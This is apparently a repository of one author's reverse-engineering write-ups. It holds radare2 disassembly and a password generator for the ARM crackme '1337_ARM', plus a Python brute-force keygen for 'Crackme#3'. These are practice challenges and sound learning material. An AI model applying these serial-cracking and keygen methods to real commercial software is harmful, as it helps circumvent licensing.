├── README.md ├── crackmes.de ├── 1337_ARM │ └── README.md ├── Crackme#3 │ ├── README.md │ └── solution.py ├── arm_kgme1 │ ├── README.md │ ├── disassembler.py │ └── keygen.py ├── berkeley │ ├── README.md │ ├── send-packet.sh │ └── translate.py └── tswifted │ └── tswifted2.zip ├── rhme2 ├── fridge-plugin │ ├── Makefile │ ├── README.md │ ├── anal_fridge.c │ ├── asm_fridge.c │ ├── dumpmem.asm │ ├── fridge_code.bin │ └── sample.png └── writeups │ └── owning_the_fridge.md ├── samsclass └── p13x │ ├── README.md │ ├── p13x.py │ └── shell.nasm └── wapiflapi-exrs └── sploit ├── s5 └── README.md ├── s6 └── README.md ├── s7 ├── README.md └── bexpl_s7.py └── s8 ├── README.md └── bexpl_s8.py /README.md: -------------------------------------------------------------------------------- 1 | # writeups 2 | Here is a collection of my writeups on the topic of reverse engineering and binary exploitation. All of them make use of free (as in freedom) open source software. My platform of choice is Linux, so the majority of the content here will be targeted to it. Occasionally there will be arm and mips platforms, but definitely no Windows around here. 3 | 4 | ## rhme2 5 | 6 | This is what worths to be shared of my work on Riscure's [rhme2 challange](http://rhme.riscure.com/challenges) 7 | 8 | - [fridge vm plugin for radare2](https://github.com/mrmacete/writeups/tree/master/rhme2/fridge-plugin) 9 | - [Owning the fridge (as a software guy)](https://github.com/mrmacete/writeups/tree/master/rhme2/writeups/owning_the_fridge.md) 10 | 11 | ## wapiflapi's exrs 12 | 13 | These are solutions to some of [wapiflapi's exrs](https://github.com/wapiflapi/exrs) 14 | 15 | * [Solution to s5](https://github.com/mrmacete/writeups/tree/master/wapiflapi-exrs/sploit/s5) 16 | * [Solution to s6](https://github.com/mrmacete/writeups/tree/master/wapiflapi-exrs/sploit/s6) 17 | * [Solution to s7](https://github.com/mrmacete/writeups/tree/master/wapiflapi-exrs/sploit/s7) 18 | * [Solution to s8](https://github.com/mrmacete/writeups/tree/master/wapiflapi-exrs/sploit/s8) 19 | 20 | ## crackmes.de 21 | 22 | Here is a selection of [my solutions to crackmes.de](http://crackmes.de/users/mrmacete/)'s challanges 23 | 24 | * [Solution to arm_kgme1](https://github.com/mrmacete/writeups/tree/master/crackmes.de/arm_kgme1) (a virtual machine in ARM/linux) 25 | * [Solution to 1337_ARM](https://github.com/mrmacete/writeups/tree/master/crackmes.de/1337_ARM) 26 | * [Solution to berkeley](https://github.com/mrmacete/writeups/tree/master/crackmes.de/berkeley) 27 | 28 | ## samsclass 29 | 30 | Solution to [Proj 13x: 64-Bit Remote Buffer Overflow with ASLR](https://github.com/mrmacete/writeups/tree/master/samsclass/p13x) 31 | -------------------------------------------------------------------------------- /crackmes.de/1337_ARM/README.md: -------------------------------------------------------------------------------- 1 | GTKSOR's 1337_ARM - mrmacete's solution 2 | --------------------------------------- 3 | 4 | Original challange is [here](http://crackmes.de/users/gtksor/1337_arm/). 5 | 6 | 1. Identification of executable 7 | ------------------------------- 8 | 9 | $ file 1337ARM.bin 10 | 1337ARM.bin: ELF 32-bit LSB executable, ARM, version 1 (SYSV), statically linked, for GNU/Linux 2.6.16, not stripped 11 | 12 | $ shasum 1337ARM.bin 13 | df1c6ae68a3b35144a445b114e9ea25f90d5a577 1337ARM.bin 14 | 15 | 16 | 2. Running the executable 17 | ------------------------- 18 | 19 | This time i literally followed the instructions provided by: 20 | 21 | https://developer.mozilla.org/en-US/docs/Mozilla/Developer_guide/Virtual_ARM_Linux_environment 22 | 23 | and managed to get an ubuntu-arm distro from Linaro running inside qemu (macos version, installed using brew): 24 | 25 | $ qemu-system-arm -M vexpress-a9 -cpu cortex-a9 -kernel ./vmlinuz -initrd ./initrd.img -redir tcp:2200::22 -m 512 -append "root=/dev/mmcblk0p2 vga=normal mem=512M devtmpfs.mount=0 rw" -drive file=vexpress.img,if=sd,cache=writeback 26 | 27 | 28 | The only missing thing was strace, easily installed with the command: 29 | 30 | root@linaro-ubuntu-desktop:~# apt-get install strace 31 | 32 | Ah, another thing: this ubuntu's default root password is "root". 33 | 34 | 35 | 3. Static analisys 36 | ------------------ 37 | 38 | Radare2 opens this binary quite smoothly: 39 | 40 | $ r2 1337ARM.bin 41 | Warning: Cannot initialize dynamic section 42 | -- ♥ -- 43 | [0x00008150]> aaa 44 | Function too big at 0x661a4 45 | Function at 0xf484 was not analyzed 46 | 47 | [0x00008150]> s main 48 | [0x00008290]> VVV 49 | 50 | The VVV command directly spawns the function graph, from which the ascii art below is directly copy-pasted ;) 51 | 52 | If you get lost, just press the usual ? key and get the help: 53 | 54 | Visual Ascii Art graph keybindings: 55 | . - center graph to the current node 56 | ! - toggle scr.color 57 | hjkl - move node 58 | HJKL - scroll canvas 59 | tab - select next node 60 | TAB - select previous node 61 | t/f - follow true/false edges 62 | e - toggle edge-lines style (diagonal/square) 63 | O - toggle disasm mode 64 | r - relayout 65 | R - randomize colors 66 | o - go/seek to given offset 67 | u/U - undo/redo seek 68 | p - toggle mini-graph 69 | b - select previous node 70 | V - toggle basicblock / call graphs 71 | w - toggle between movements speed 1 and graph.scroll 72 | x/X - jump to xref/ref 73 | z/Z - step / step over 74 | +/-/0 - zoom in/out/default 75 | 76 | Ok, let's examine the main() function. 77 | 78 | The first thing the main() does, is to allocate an array of 8 arrays on the heap, each one to contain 32 chars, filling them with the value 0xa: 79 | 80 | ; local variables legenda 81 | ; -0x1c: counter 82 | ; -0x20: outer array (8 pointers) 83 | 84 | =----------------------= 85 | | 0x82c0 | 86 | | mov r3, 0 | 87 | | str r3, [fp, -0x1c] | 88 | | mov r0, 0x20 | 89 | | bl sym.xmalloc | 90 | | mov r3, r0 | 91 | | str r3, [fp, -0x20] | 92 | | b 0x832c | 93 | =----------------------= 94 | v 95 | .---' 96 | | 97 | | 98 | =---------------------= 99 | | 0x832c | 100 | | ldr r3, [fp, -0x1c] | 101 | | cmp r3, 8 | 102 | | bne 0x82dc | 103 | =---------------------= 104 | | t f 105 | .-----------------------|-' '-------------. 106 | | | | 107 | | | | 108 | =----------------------= | =----------------------= 109 | | 0x82dc | | | [0x8338] | 110 | | ldr r3, [fp, -0x1c] | | | ldr r3, [fp, -0x1c] | 111 | | lsl r2, r3, 2 | | | lsl r2, r3, 2 | 112 | | ldr r3, [fp, -0x20] | | | ldr r3, [fp, -0x20] | 113 | | add r4, r3, r2 | | | add r2, r3, r2 | 114 | | mov r0, 0x20 | | | mov r3, 0 | 115 | | bl sym.xmalloc | | | str r3, [r2] | 116 | | mov r3, r0 | | | mov r3, 0 | 117 | | str r3, [r4] | | | str r3, [fp, -0x1c] | 118 | | ldr r3, [fp, -0x1c] | | | mov r3, 0x41 | 119 | | lsl r2, r3, 2 | | | str r3, [fp, -0x18] | 120 | | ldr r3, [fp, -0x20] | | | b 0x839c | 121 | | add r3, r3, r2 | | =----------------------= 122 | | ldr r3, [r3] | | v 123 | | mov r0, r3 | | | 124 | | mov r1, 0xa | | | 125 | | mov r2, 0x20 | | | 126 | | bl sym.memset | | | 127 | | ldr r3, [fp, -0x1c] | | | 128 | | add r3, r3, 1 | | .--------' 129 | | str r3, [fp, -0x1c] | | | 130 | =----------------------= | | 131 | `-------------------------' | 132 | | 133 | 134 | Only one of these arrays (the fourth) is initialized with a sequence of chars, starting with 0x41 (see the block [0x8338] above) and continuing with the following character codes, resulting in the string: 135 | 136 | 'ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`' 137 | 138 | Here is the generator loop: 139 | 140 | ; local variables legenda: 141 | ; -0x1c: counter 142 | ; -0x20: outer array (8 pointers) 143 | ; -0x18: increasing char, initialised with 0x41 144 | 145 | =---------------------= 146 | | 0x839c | 147 | | ldr r3, [fp, -0x1c] | 148 | | cmp r3, 0x1f | 149 | | bne 0x8364 | 150 | =---------------------= 151 | | t f 152 | .------------------|-' | 153 | | | | 154 | | | | 155 | =----------------------= | '------------------. 156 | | 0x8364 | | | 157 | | ldr r3, [fp, -0x20] | | | 158 | | add r3, r3, 0xc | | | 159 | | ldr r2, [r3] | | | 160 | | ldr r3, [fp, -0x1c] | | =----------------------= 161 | | add r2, r2, r3 | | | [0x83a8] | 162 | | ldr r3, [fp, -0x18] | | | ldr r3, [fp, -0x20] | 163 | | and r3, r3, 0xff | | | add r3, r3, 0xc | 164 | | strb r3, [r2] | | | ldr r2, [r3] | 165 | | ldr r3, [fp, -0x18] | | | ldr r3, [fp, -0x1c] | 166 | | add r3, r3, 1 | | | add r2, r2, r3 | 167 | | str r3, [fp, -0x18] | | | mov r3, 0 | 168 | | ldr r3, [fp, -0x1c] | | | strb r3, [r2] | 169 | | add r3, r3, 1 | | | mov r3, 0 | 170 | | str r3, [fp, -0x1c] | | | str r3, [fp, -0x1c] | 171 | =----------------------= | | b 0x8420 | 172 | `--------------------' =----------------------= 173 | 174 | 175 | 176 | This is the core of the checking function, which compares all the chars given in argv[1] with the ones found in the preloaded string, in the same order: 177 | 178 | ; local variables legenda 179 | ; -0x2c: argv 180 | ; -0x1c: counter 181 | ; -0x20: outer array (8 pointers) 182 | ; -0x30: return value 183 | 184 | =----------------------= 185 | | [0x8420] | 186 | | ldr r3, [fp, -0x2c] | 187 | | add r3, r3, 4 | 188 | | ldr r2, [r3] | 189 | | ldr r3, [fp, -0x1c] | 190 | | add r3, r2, r3 | 191 | | ldrb r3, [r3] | 192 | | cmp r3, 0 | 193 | | bne 0x83d0 | 194 | =----------------------= 195 | t f | 196 | .-----------------' '---|------------. 197 | | | | 198 | | | | 199 | =----------------------= | =----------------------= 200 | | 0x83d0 | | | 0x8440 | 201 | | ldr r3, [fp, -0x2c] | | | ldr r3, [pc, 0x10] | 202 | | add r3, r3, 4 | | | str r3, [fp, -0x30] | 203 | | ldr r2, [r3] | | =----------------------= 204 | | ldr r3, [fp, -0x1c] | | v 205 | | add r3, r2, r3 | | | 206 | | ldrb r1, [r3] | | | 207 | | ldr r3, [fp, -0x20] | | | 208 | | add r3, r3, 0xc | | | 209 | | ldr r2, [r3] | | | 210 | | ldr r3, [fp, -0x1c] | | | 211 | | add r3, r2, r3 | | '-------------------. 212 | | ldrb r3, [r3] | | | 213 | | cmp r1, r3 | | | 214 | | beq 0x8414 | | | 215 | =----------------------= | | 216 | f t | | 217 | .' '-------------------|----. | 218 | | | | | 219 | | | | | 220 | =----------------------= =----------------------= | 221 | | 0x8408 | || 0x8414 | | 222 | | mvn r3, 0 | ||ldr r3, [fp, -0x1c] | | 223 | | str r3, [fp, -0x30] | ||add r3, r3, 1 | | 224 | | b 0x8448 | ||str r3, [fp, -0x1c] | | 225 | =----------------------= =----------------------= | 226 | v `--' | 227 | '-------------------------------.-----------------------+ 228 | | 229 | | 230 | =---------------------------= 231 | | 0x8448 | 232 | | ldr r3, [fp, -0x30] | 233 | | mov r0, r3 | 234 | | sub sp, fp, 0x10 | 235 | | ldm sp, {r4, fp, sp, pc} | 236 | =---------------------------= 237 | 238 | 239 | If the argv[1] string ends and all its chars was contained at the same position inside the preloaded string, the success is triggered: 240 | 241 | The instruction: 242 | 243 | 0x8440 ldr r3, [pc, 0x10] 244 | 245 | is responsible for loading the 1337 as the return value for main(), let's check it with r2: 246 | 247 | :> pxw 4@0x8440+8+16 248 | 0x00008458 0x00000539 249 | 250 | actually 0x539 is the hex for 1337. In all other cases main() will return 0. 251 | 252 | Therefore the accepted passwords are all the starting subsequences of the preloaded string, for example: 253 | 254 | A 255 | AB 256 | ABC 257 | 258 | etc... 259 | 260 | 4. Dynamic analisys 261 | ------------------- 262 | 263 | Despite what the author told in the description of the crackme, it doesn't appear to print anything at all, instead the value 1337 is returned from the main() function and passed to the exit() call. The problem here is that since the return value is always cropped to the least significant byte, 1337 is transformed to 57 (1337 & 0xff) and that is what bash will tell us using `echo $?`. 264 | 265 | To see it more clearly, is fun to look at strace output during a couple of runs: 266 | 267 | root@linaro-ubuntu-desktop:~# strace ./1337ARM.bin A 268 | execve("./1337ARM.bin", ["./1337ARM.bin", "A"], [/* 19 vars */]) = 0 269 | uname({sys="Linux", node="linaro-ubuntu-desktop", ...}) = 0 270 | brk(0) = 0xc7a000 271 | brk(0xc7ace0) = 0xc7ace0 272 | set_tls(0xc7a4a0, 0x83fc4, 0, 0x1, 0xc7a4a0) = 0 273 | brk(0xc9bce0) = 0xc9bce0 274 | brk(0xc9c000) = 0xc9c000 275 | exit_group(1337) = ? 276 | 277 | 278 | root@linaro-ubuntu-desktop:~# strace ./1337ARM.bin AB 279 | execve("./1337ARM.bin", ["./1337ARM.bin", "AB"], [/* 19 vars */]) = 0 280 | uname({sys="Linux", node="linaro-ubuntu-desktop", ...}) = 0 281 | brk(0) = 0x1d3f000 282 | brk(0x1d3fce0) = 0x1d3fce0 283 | set_tls(0x1d3f4a0, 0x83fc4, 0, 0x1, 0x1d3f4a0) = 0 284 | brk(0x1d60ce0) = 0x1d60ce0 285 | brk(0x1d61000) = 0x1d61000 286 | exit_group(1337) = ? 287 | 288 | root@linaro-ubuntu-desktop:~# strace ./1337ARM.bin MORTE 289 | execve("./1337ARM.bin", ["./1337ARM.bin", "MORTE"], [/* 19 vars */]) = 0 290 | uname({sys="Linux", node="linaro-ubuntu-desktop", ...}) = 0 291 | brk(0) = 0x5a8000 292 | brk(0x5a8ce0) = 0x5a8ce0 293 | set_tls(0x5a84a0, 0x83fc4, 0, 0x1, 0x5a84a0) = 0 294 | brk(0x5c9ce0) = 0x5c9ce0 295 | brk(0x5ca000) = 0x5ca000 296 | exit_group(-1) = ? 297 | 298 | The first two runs are valid passwords, while the last one not. 299 | 300 | 5. Solution and "keygen" 301 | ------------------------ 302 | 303 | This is the solution, which is a python one-liner printing all valid passwords: 304 | 305 | print '\n'.join([''.join([chr(0x41+i) for i in xrange(j)]) for j in xrange(1,32)]) 306 | 307 | Beware that the above code doesn't escape the backslash char, so keep it in mind when pasting to bash, for example the password: 308 | 309 | ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_ 310 | 311 | must be escaped like this in order to work on the command line: 312 | 313 | root@linaro-ubuntu-desktop:~# ./1337ARM.bin ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_ 314 | -------------------------------------------------------------------------------- /crackmes.de/Crackme#3/README.md: -------------------------------------------------------------------------------- 1 | #S!x0r's Crackme#3 - mrmacete's solution 2 | 3 | The original challange is [here](http://crackmes.de/users/sx0r/crackme3_by_sx0r/) 4 | 5 | Identification 6 | -------------- 7 | 8 | # file Crackme3 9 | Crackme3: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped 10 | 11 | # sha1sum Crackme3 12 | 06db7ba0dfd10d95f0bb043b38741720f6977025 Crackme3 13 | 14 | 15 | Analyzing entry point 16 | --------------------- 17 | 18 | This crackme is written directly in assembly, so the interesting code starts immediately at the entry point. Here is the entry point code along with my comments. I renamed the functions in radare2 (in visual mode, press '_' and then "rename function") in order to make this more readable: 19 | 20 | ; print welcome message 21 | 22 | 0x08048080 mov ecx, str.Crackme3_by_S_x0r_n_nUsername: 23 | 0x08048085 mov edx, 0x13 24 | 0x0804808a call puts 25 | 26 | 27 | ; ask username 28 | 29 | 0x0804808f mov ecx, 0x804931b 30 | 0x08048094 mov edx, 0xb 31 | 0x08048099 call puts 32 | 33 | ; get username into 0x804937c global buffer 34 | 35 | 0x0804809e mov ecx, 0x804937c 36 | 0x080480a3 mov edx, 0x32 37 | 0x080480a8 call gets 38 | 39 | 40 | ; ask serial 41 | 42 | 0x080480ad mov ecx, str.Serial: 43 | 0x080480b2 mov edx, 9 44 | 0x080480b7 call puts 45 | 46 | ; get serial in 0x80493ae global buffer 47 | 48 | 0x080480bc mov ecx, 0x80493ae 49 | 0x080480c1 mov edx, 0x32 50 | 0x080480c6 call gets 51 | 52 | ; check the serial 53 | 54 | │ 0x080480cb call check_serial 55 | 56 | 57 | ; print success or fail message based on outcome 58 | 59 | 0x080480d0 cmp eax, 1 60 | ┌─< 0x080480d3 jne 0x80480e1 61 | │ 0x080480d5 mov ecx, 0x8049354 62 | │ 0x080480da mov edx, 0x26 63 | ┌──< 0x080480df jmp 0x80480eb 64 | │└─> 0x080480e1 mov ecx, str.Invalid_Username_Serial_combination__nCorrect__now_write_a_Keygen_Tutorial__n 65 | │ 0x080480e6 mov edx, 0x25 66 | └──> 0x080480eb call puts 67 | 0x080480f0 call exit 68 | 69 | 70 | Here are the utility functions, implemented by calling the corresponding linux system calls: 71 | 72 | ╒ (fcn) puts 73 | 74 | ; call write() system call 75 | 76 | │ 0x080480f5 mov eax, 4 77 | │ 0x080480fa mov ebx, 1 78 | │ 0x080480ff int 0x80 79 | ╘ 0x08048101 ret 80 | 81 | ╒ (fcn) gets 82 | 83 | ; call read() system call 84 | 85 | │ 0x08048102 mov eax, 3 86 | │ 0x08048107 mov ebx, 1 87 | │ 0x0804810c int 0x80 88 | ╘ 0x0804810e ret 89 | 90 | ╒ (fcn) exit 91 | 92 | ; call exit(0) system call 93 | 94 | │ 0x080482fb mov eax, 1 95 | │ 0x08048300 mov ebx, 0 96 | ╘ 0x08048305 int 0x80 97 | 98 | Note that since it's not using the standard C library, the strings are not zero-terminated and explicit lengths are passed in order to print only a part of the string at a time. In order to decode linux 32 bit syscalls i used this: [http://syscalls.kernelgrok.com/](http://syscalls.kernelgrok.com/). 99 | 100 | 101 | The serial checking 102 | ------------------- 103 | 104 | 105 | 106 | 107 | [0x0804810f 24% 255 Crackme3]> pd $r @ check_serial 108 | 109 | ; calculate length of username, by searching for newline 110 | 111 | 0x0804810f mov eax, 0xa 112 | 0x08048114 mov ecx, 0xffffffff 113 | 0x08048119 mov edi, 0x804937c 114 | 0x0804811e repne scasb al, byte es:[edi] 115 | 0x08048120 not ecx 116 | 0x08048122 dec ecx 117 | 118 | ; fail if username is less than 5 chars 119 | 120 | 0x08048123 cmp ecx, 5 121 | 0x08048126 jb 0x804826d 122 | 123 | 124 | ; calculate length of serial 125 | 126 | 0x0804812c mov eax, 0xa 127 | 0x08048131 mov ecx, 0xffffffff 128 | 0x08048136 mov edi, 0x80493ae 129 | 0x0804813b repne scasb al, byte es:[edi] 130 | 0x0804813d not ecx 131 | 0x0804813f dec ecx 132 | 133 | ; fail if length is not 9 134 | 135 | 0x08048140 cmp ecx, 9 136 | 0x08048143 jne 0x804826d 137 | 138 | ; fail if '-' is not present in serial 139 | ; at fifth position 140 | 141 | 0x08048149 mov eax, 0x2d ; '-' 142 | 0x0804814e mov edi, 0x80493ae 143 | 0x08048153 repne scasb al, byte es:[edi] 144 | 0x08048155 cmp ecx, 4 145 | 0x08048158 jne 0x804826d 146 | 147 | ; compute a magic number starting from 0x7e4c9e32 148 | ; by accumulate using multiplication all chars of 149 | ; the username and save it in 0x80493e0 (renamed in "magic") 150 | 151 | 0x0804815e xor eax, eax 152 | 0x08048160 mov esi, 0x804937c 153 | 0x08048165 mov edx, 0x7e4c9e32 154 | 0x0804816a lodsb al, byte [esi] 155 | 0x0804816b imul edx, eax 156 | 0x0804816e cmp byte [esi], 0xa 157 | 0x08048171 jne 0x804816a 158 | 0x08048173 mov dword [magic], edx 159 | 160 | ; from now on things becomes a little twisted, i'll 161 | ; use python code to explain each block 162 | 163 | ; convert the first 4 chars of serial in a number 164 | ; using the mangle_string function and save the result 165 | ; in the 0x80493f0 global 166 | 167 | ; mm = [magic & 0xff] 168 | ; a = mangle_string(ss[0], mm) 169 | 170 | 0x08048179 mov esi, 0x80493ae 171 | 0x0804817e mov edi, 0x80493ae 172 | 0x08048183 call mangle_string 173 | 0x08048188 mov dword [0x80493f0], eax 174 | 175 | ; do the same with the last 4 chars in serial 176 | ; and save it in 0x8049400 177 | ; b = mangle_string(ss[1], mm) 178 | 179 | 0x0804818d mov esi, 0x80493b3 180 | 0x08048192 mov edi, 0x80493b3 181 | 0x08048197 call mangle_string 182 | 0x0804819c mov dword [0x8049400], eax 183 | 184 | ; x = gen_num(0xf2a5, b, 0xf2a7) 185 | 186 | 0x080481a1 xchg eax, ebx 187 | 0x080481a2 mov ecx, 0xf2a7 188 | 0x080481a7 sub ecx, 2 189 | 0x080481aa mov esi, 0xf2a7 190 | 0x080481af call gen_num 191 | 192 | ; xa = float_mod(x, magic, 0xf2a7) 193 | 194 | 0x080481b4 mov dword [0x8049410], eax 195 | 0x080481b9 mov dword [0x8049470], eax 196 | 0x080481be mov eax, dword [magic] 197 | 0x080481c3 mov dword [0x8049480], eax 198 | 0x080481c8 mov dword [0x8049490], 0xf2a7 199 | 0x080481d2 call float_mod 200 | 201 | ; xb = float_mod(a, x, 0xf2a7) 202 | 203 | 0x080481d7 mov dword [0x8049420], eax 204 | 0x080481dc mov eax, dword [0x80493f0] 205 | 0x080481e1 mov dword [0x8049470], eax 206 | 0x080481e6 mov eax, dword [0x8049410] 207 | 0x080481eb mov dword [0x8049480], eax 208 | 0x080481f0 mov dword [0x8049490], 0xf2a7 209 | 0x080481fa call float_mod 210 | 211 | ; y = gen_num(xa, 0x15346, 0x3ca9d) 212 | 213 | 0x080481ff mov dword [0x8049430], eax 214 | 0x08048204 mov ebx, 0x15346 215 | 0x08048209 mov ecx, dword [0x8049420] 216 | 0x0804820f mov esi, 0x3ca9d 217 | 0x08048214 call gen_num 218 | 219 | ; z = gen_num(xb, 0x307c7, 0x3ca9d) 220 | 221 | 0x08048219 mov dword [0x8049450], eax 222 | 0x0804821e mov ebx, 0x307c7 223 | 0x08048223 mov ecx, dword [0x8049430] 224 | 0x08048229 mov esi, 0x3ca9d 225 | 0x0804822e call gen_num 226 | 227 | ; w = float_mod(z, y, 0x3ca9d) 228 | 229 | 0x08048233 mov dword [0x8049460], eax 230 | 0x08048238 mov dword [0x8049470], eax 231 | 0x0804823d mov eax, dword [0x8049450] 232 | 0x08048242 mov dword [0x8049480], eax 233 | 0x08048247 mov dword [0x8049490], 0x3ca9d 234 | 0x08048251 call float_mod 235 | 236 | ; success if (w % 0xf2a7) == a 237 | 238 | 0x08048256 xor edx, edx 239 | 0x08048258 mov edi, 0xf2a7 240 | 0x0804825d div edi 241 | 0x0804825f cmp edx, dword [0x80493f0] 242 | 0x08048265 jne 0x804826d 243 | 0x08048267 mov eax, 1 244 | 0x0804826c ret 245 | 246 | 247 | Finally here are the primitives used in the above code: 248 | 249 | 250 | mangle_string 251 | ------------- 252 | 253 | =----------------------------------------------= 254 | | [0x80482c3] | 255 | | push ebx | 256 | | push esi | 257 | | push edi | 258 | | mov esi, 4 | 259 | | xor ebx, ebx | 260 | =----------------------------------------------= 261 | v 262 | '. 263 | | .----------------------------------------------. 264 | | | 265 | =--------------------------------------------= | 266 | | 0x80482cd | | 267 | | mov al, byte [edi] | | 268 | | cmp al, 0x41 ; 'A' | | 269 | | jb 0x80482df | | 270 | =--------------------------------------------= | 271 | t f | 272 | .------------------' '--------------------------------. | 273 | | | | 274 | | | | 275 | =---------------= =----------------= | 276 | | 0x80482df | | 0x80482d3 | | 277 | | sub al, 0x30 | | sub al, 0x57 | | 278 | =---------------= | adc dl, 0 | | 279 | v | shl dl, 5 | | 280 | | | add al, dl | | 281 | | | jmp 0x80482e1 | | 282 | | =----------------= | 283 | '------------------. v | 284 | .--------------------------------' | 285 | | | 286 | | | 287 | =--------------------------------------------= | 288 | | 0x80482e1 | | 289 | | lea ecx, [esi - 1] | | 290 | | and eax, 0xf | | 291 | | shl ecx, 2 | | 292 | | shl eax, cl | | 293 | | add ebx, eax | | 294 | | inc edi | | 295 | | dec esi | | 296 | | cmp esi, 0 | | 297 | | jne 0x80482cd | | 298 | =--------------------------------------------= | 299 | f `----------------------------------------------' 300 | '-------------. 301 | | 302 | | 303 | =----------------= 304 | | 0x80482f5 | 305 | | mov eax, ebx | 306 | | pop edi | 307 | | pop esi | 308 | | pop ebx | 309 | | ret | 310 | =----------------= 311 | 312 | The value of `dl` register comes initially from the least significant byte of the computed magic, and the value is always updated in this function. 313 | 314 | Here is the equivalent in python: 315 | 316 | ```python 317 | def mangle_string(somestring, dl): 318 | cc = [12, 8, 4, 0] 319 | res = 0 320 | for i in xrange(4): 321 | c = ord(somestring[i]) 322 | n = 0 323 | if c < ord('A'): 324 | n = c - ord('0') 325 | else: 326 | dl[0] = (dl[0] << 5) & 0xff 327 | n = c - ord('W') + dl[0] 328 | 329 | res += (n & 0xf) << cc[i] 330 | 331 | return res 332 | ``` 333 | 334 | 335 | gen_num 336 | ------- 337 | 338 | =----------------------------------------= 339 | | [0x8048270] | 340 | | push edx | 341 | | push edi | 342 | | mov edi, 1 | 343 | =----------------------------------------= 344 | v 345 | '. 346 | .------------------------------------------------. 347 | | | 348 | =--------------------------------------= | 349 | | 0x8048277 | | 350 | | cmp ecx, 0 | | 351 | | jle 0x804829a | | 352 | =--------------------------------------= | 353 | t f | 354 | .----------------' '----------------------------. | 355 | | | | 356 | | | | 357 | =--------------------------------------= =----------------= | 358 | | 0x804829a | | 0x804827c | | 359 | | mov eax, edi | | mov edx, ecx | | 360 | | pop edi | | and edx, 1 | | 361 | | pop edx | | cmp edx, 0 | | 362 | | ret | | je 0x804828e | | 363 | =--------------------------------------= =----------------= | 364 | f t | 365 | | | | 366 | .-----' '-------. | 367 | | | | 368 | | | | 369 | =----------------= | | 370 | | 0x8048286 | | | 371 | | mov eax, edi | | | 372 | | mul ebx | | | 373 | | div esi | | | 374 | | mov edi, edx | | | 375 | =----------------= | | 376 | v | | 377 | .---' .-----------------' | 378 | | | | 379 | | | | 380 | =--------------------------------------= 381 | | 0x804828e | | 382 | | shr ecx, 1 | | 383 | | mov eax, ebx | | 384 | | mul ebx | | 385 | | div esi | | 386 | | mov ebx, edx | | 387 | | jmp 0x8048277 | | 388 | =--------------------------------------= 389 | `-----------------------------' 390 | 391 | Here is the equivalent in python: 392 | 393 | ```python 394 | def gen_num(a,b,c): 395 | res = 1 396 | while a > 0: 397 | lsb = a & 1 398 | if lsb == 1: 399 | res = (res * b) % c 400 | 401 | a = a >> 1 402 | b = (b * b) % c 403 | 404 | return res 405 | ```` 406 | 407 | float_mod 408 | --------- 409 | 410 | ╒ (fcn) float_mod 36 411 | 412 | ; convert a to float and push it to floating stack 413 | 414 | │ 0x0804829f fild qword [0x8049470] 415 | 416 | ; convert b to float and push it to floating stack 417 | 418 | │ 0x080482a5 fild qword [0x8049480] 419 | 420 | ; a * b in floating point 421 | 422 | │ 0x080482ab fmulp st(1) 423 | 424 | ; convert c to float and put it on stack 425 | 426 | │ 0x080482ad fild qword [0x8049490] 427 | 428 | ; perform (a*b) mod c 429 | 430 | │ 0x080482b3 fxch st(1) 431 | │ 0x080482b5 fprem 432 | 433 | ; convert the result to int and return it 434 | 435 | │ 0x080482b7 fist dword [0x8049490] 436 | │ 0x080482bd mov eax, dword [0x8049490] 437 | ╘ 0x080482c2 ret 438 | 439 | This is the equivalent python code: 440 | 441 | ```python 442 | def fmod(a,b,c): 443 | return (a*b) % c 444 | ``` 445 | 446 | Generating a serial 447 | ------------------- 448 | 449 | I decided to use bruteforce to do it, because even if there might be smarter and more efficient algorithms to invert the logic, bruteforce is really simple and it takes seconds (or less) anyways, the bruteforcing stuff is provided in the [solution.py](solution.py) script 450 | 451 | -------------------------------------------------------------------------------- /crackmes.de/Crackme#3/solution.py: -------------------------------------------------------------------------------- 1 | import string 2 | import random 3 | 4 | def random4(): 5 | chars = 'ABCDEFGHIJKLMNOPQRSTUVW' + string.digits 6 | return ''.join(random.choice(chars) for _ in range(4)) 7 | 8 | def mangle_string(somestring, dl): 9 | cc = [12, 8, 4, 0] 10 | res = 0 11 | for i in xrange(4): 12 | c = ord(somestring[i]) 13 | n = 0 14 | if c < ord('A'): 15 | n = c - ord('0') 16 | else: 17 | dl[0] = (dl[0] << 5) & 0xff 18 | n = c - ord('W') + dl[0] 19 | 20 | res += (n & 0xf) << cc[i] 21 | 22 | return res 23 | 24 | def gen_num(a,b,c): 25 | res = 1 26 | while a > 0: 27 | lsb = a & 1 28 | if lsb == 1: 29 | res = (res * b) % c 30 | 31 | a = a >> 1 32 | b = (b * b) % c 33 | 34 | return res 35 | 36 | def fmod(a,b,c): 37 | return (a*b) % c 38 | 39 | def check_serial(username, serial): 40 | ss = serial.split('-') 41 | 42 | magic = 0x7e4c9e32 43 | for c in username: 44 | magic = (ord(c) * magic) & 0xffffffff 45 | 46 | mm = [magic & 0xff] 47 | 48 | a = mangle_string(ss[0], mm) 49 | 50 | b = mangle_string(ss[1], mm) 51 | 52 | x = gen_num(0xf2a5, b, 0xf2a7) 53 | xa = fmod(x, magic, 0xf2a7) 54 | xb = fmod(a, x, 0xf2a7) 55 | 56 | y = gen_num(xa, 0x15346, 0x3ca9d) 57 | z = gen_num(xb, 0x307c7, 0x3ca9d) 58 | 59 | w = fmod(z, y, 0x3ca9d) 60 | 61 | return (w % 0xf2a7) == a 62 | 63 | 64 | def generate_serial(username): 65 | while True: 66 | ss = [random4(), random4()] 67 | if check_serial(username, '-'.join(ss)): 68 | print '-'.join(ss) 69 | break 70 | 71 | 72 | if __name__ == "__main__": 73 | generate_serial("porcodio") -------------------------------------------------------------------------------- /crackmes.de/arm_kgme1/README.md: -------------------------------------------------------------------------------- 1 | esteve's ARM kgme1 - mrmacete's solution 2 | =============================== 3 | 4 | Original challange is [here](http://crackmes.de/users/esteve/arm_kgme1/). 5 | 6 | Although this crackme dates back to 2008, nobody wrote a proper solution for it. Reversing VMs is my favourite hobby, so i did it. 7 | 8 | 1. Identification of executable 9 | ------------------------------- 10 | ```bash 11 | $ file arm_kgme1 12 | arm_kgme1: ELF 32-bit LSB executable, ARM, version 1 (SYSV), for GNU/Linux 2.4.17, dynamically linked (uses shared libs), stripped 13 | ``` 14 | 15 | 2. Running and debugging 16 | ------------------------ 17 | 18 | The first obstacle to reverse this binary is the exotic platform it is designed for. I tried several combinations of emulators and images found around the internet (avoid the Mozilla tutorial, it's way too modern) but i kept failing all the time. 